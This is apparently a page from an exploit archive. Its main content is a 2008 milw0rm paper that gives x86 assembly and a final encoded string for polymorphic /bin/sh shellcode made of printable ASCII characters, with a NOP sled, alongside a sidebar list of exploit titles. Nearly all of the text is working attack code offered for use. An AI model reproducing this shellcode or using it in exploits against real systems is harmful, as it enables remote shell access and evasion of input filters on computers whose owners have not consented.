477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
103 lines
No EOL
2.8 KiB
Text
Executable file
103 lines
No EOL
2.8 KiB
Text
Executable file
{========================================================================}
|
|
{ /bin/sh Polymorphic shellcode with printable ASCII characters }
|
|
{========================================================================}
|
|
|
|
A paper by the FHM crew:
|
|
|
|
http://fhm.noblogs.org
|
|
|
|
Contact us at:
|
|
|
|
--------------------------------------------
|
|
|
|
sorrow: rawhazard@autistici.org; betat@hotmail.it
|
|
|
|
--------------------------------------------
|
|
|
|
fhm crew: fhm@autistici.org; freehackersmind@gmail.com
|
|
|
|
--------------------------------------------
|
|
|
|
|
|
Assembly code for /bin/sh polymorphic shellcode:
|
|
|
|
BITS 32
|
|
;assembly code for polymorphic shellcode
|
|
push esp ; Put current ESP
|
|
pop eax ; into EAX.
|
|
sub eax,0x39393333 ; Subtract printable values
|
|
sub eax,0x72727550 ; to add 860 to EAX.
|
|
sub eax,0x54545421
|
|
push eax ; Put EAX back into ESP.
|
|
pop esp ; Effectively ESP = ESP + 860
|
|
and eax,0x454e4f4a
|
|
and eax,0x3a313035 ; Zero out EAX.
|
|
sub eax,0x346d6d25 ; Subtract printable values
|
|
sub eax,0x256d6d25 ; to make EAX = 0x80cde189.
|
|
sub eax,0x2557442d ; (last 4 bytes from shellcode.bin)
|
|
push eax ; Push these bytes to stack at ESP.
|
|
sub eax,0x59316659 ; Subtract more printable values
|
|
sub eax,0x59667766 ; to make EAX = 0x53e28951.
|
|
sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)
|
|
push eax
|
|
sub eax,0x25696969
|
|
sub eax,0x25786b5a
|
|
sub eax,0x25774625
|
|
push eax ; EAX = 0xe3896e69
|
|
sub eax,0x366e5858
|
|
sub eax,0x25773939
|
|
sub eax,0x25747470
|
|
push eax ; EAX = 0x622f6868
|
|
sub eax,0x25257725
|
|
sub eax,0x71717171
|
|
sub eax,0x5869506a
|
|
push eax ; EAX = 0x732f2f68
|
|
sub eax,0x63636363
|
|
sub eax,0x44307744
|
|
sub eax,0x7a434957
|
|
push eax ; EAX = 0x51580b6a
|
|
sub eax,0x63363663
|
|
sub eax,0x6d543057
|
|
push eax ; EAX = 0x80cda4b0
|
|
sub eax,0x54545454
|
|
sub eax,0x304e4e25
|
|
sub eax,0x32346f25
|
|
sub eax,0x302d6137
|
|
push eax ; EAX = 0x99c931db
|
|
sub eax,0x78474778
|
|
sub eax,0x78727272
|
|
sub eax,0x774f4661
|
|
push eax ; EAX = 0x31c03190
|
|
sub eax,0x41704170
|
|
sub eax,0x2d772d4e
|
|
sub eax,0x32483242
|
|
push eax ; EAX = 0x90909090
|
|
push eax
|
|
push eax ; Build a NOP sled.
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
|
|
Then use nasm on the assembly code (nasm asmcode.s) and print it (echo $(cat ./asmcode) ), you will obtain this output:
|
|
|
|
-[final code]-
|
|
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6- 99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx- aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP
|
|
-[/final code]-
|
|
|
|
That string is your polymorphic shellcode with printable ascii characters.
|
|
|
|
# milw0rm.com [2008-08-31] |